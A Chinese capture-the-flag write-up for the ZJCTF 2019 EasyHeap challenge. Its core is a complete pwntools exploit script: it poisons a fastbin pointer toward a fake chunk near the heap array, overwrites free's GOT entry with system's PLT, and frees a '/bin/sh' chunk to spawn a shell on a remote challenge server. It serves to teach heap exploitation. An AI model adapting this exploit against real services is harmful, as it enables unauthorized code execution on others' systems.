[ZJCTF 2019]EasyHeap-house of spirit

[ZJCTF 2019]EasyHeap-house of spirit

• 先给出exp，exp中我标明了每一个步骤
• 每个步骤执行完后，内存中的地址空间我也贴出来了

exp

from pwn import *
p = remote('node3.buuoj.cn',29012)
#p = process('./easyheap')
context.log_level = 'debug'
def creat(size,content):
	p.sendlineafter('Your choice :',str(1))
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap:',content)

def edit(index,size,content):
	p.sendlineafter('Your choice :',str(2))
	p.sendlineafter('Index :',str(index))
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap : ',content)

def delete(index):
	p.sendlineafter('Your choice :',str(3))
	p.sendlineafter('Index :',str(index))
#step1 创建3个chunk
creat(0x60,'a'*0x58) #0
creat(0x60,'b'*0x60) #1
creat(0x60,'c'*0x60) #2
#step2 释放chunk2
delete(2)

#step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad) 
edit(1,len(payload),payload)

#step4 连续申请两次，得到的chunk2 就是我们在heaparray 附近的fake chunk
creat(0x60,'a')
creat(0x60,'aaa')

#step5 通过编辑chunk0，修改free_got 为 system_plt 
elf = ELF('./easyheap')
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)
edit(0,8,p64(elf.plt['system']))

#step6 释放chunk1，会执行free（chunk1中的内容），即system('/bin/sh')
delete(1)
p.interactive()

step1 创建3个chunk

step2 释放chunk2

step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk

step4 连续申请两次，得到的chunk2 就是我们在heaparray 附近的fake chunk

step5 通过编辑chunk0，修改free_got 为 system_plt

step6 释放chunk1，会执行free（chunk1中的内容），即system(’/bin/sh’)